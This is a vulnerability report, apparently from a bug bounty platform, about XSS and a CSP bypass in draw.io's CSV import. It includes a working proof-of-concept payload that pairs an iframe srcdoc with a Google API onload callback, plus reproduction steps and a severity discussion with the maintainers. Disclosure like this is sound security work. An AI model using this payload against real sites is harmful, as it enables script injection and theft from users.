Cross-site Scripting and CSP Bypass in app.diagrams.net in jgraph/drawio
Reported on
May 4th 2023
Description
The application allows the user to import a CSV template into the schema, but does not clean the input from the columns resulting in any javascript code being executed.
Proof of Concept
##
## Example CSV import. Use ## for comments and # for configuration. Paste CSV below.
## The following names are reserved and should not be used (or ignored):
## id, tooltip, placeholder(s), link and label (see below)
##
# connect: {"from": "manager", "to": "name", "invert": true, "label": "manages", \
# "style": "curved=1;endArrow=blockThin;endFill=1;fontSize=11;"}
# connect: {"from": "refs", "to": "id", "style": "curved=1;fontSize=11;"}
# layout: auto
#
## ---- CSV below this line. First line are column names. ----
name,position,id,location,manager,email,fill,stroke,refs,url,image
Tessa Miller'"><iframe srcdoc='<script src=https://apis.google.com/js/api.js?onload=DrawGapiClientCallbackxyz"-alert(document.domain)-"></script>'>,CFO,emi,Office 1,,me@example.com,default,#6c8ebf,,https://www.draw.io,https://cdn3.iconfinder.com/data/icons/user-avatars-1/512/users-3-128.png
Step to reproduce
Click Insert button -> Advanced -> CSV -> Paste the payload above -> Trigger XSS
Evidence
Impact
XSS, in some cases it is possible to rce on the desktop app.
References
Hi,
If the public link doesn't trigger XSS after the first time, please refresh the url again.
Thanks!
Hi, thanks for the report. The base report is certainly valid. Could you just clarify a few things please:
"in some cases it is possible to rce on the desktop app." That would be a serious issue, but you must provide a PoC.
Looking at the severity, https://cvss.js.org/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Why is the availability marked as low? How does this affect the service availability?
Hi,
As in previous reports I see that some other researchers can abuse this vulnerability to upgrade to RCE but I haven't found a way to exploit it yet.
As for severity I'm a bit confused that availability is None. I just updated!
Thank you for this incident!
Thanks. We haven't managed to recreate problem in the desktop version to date.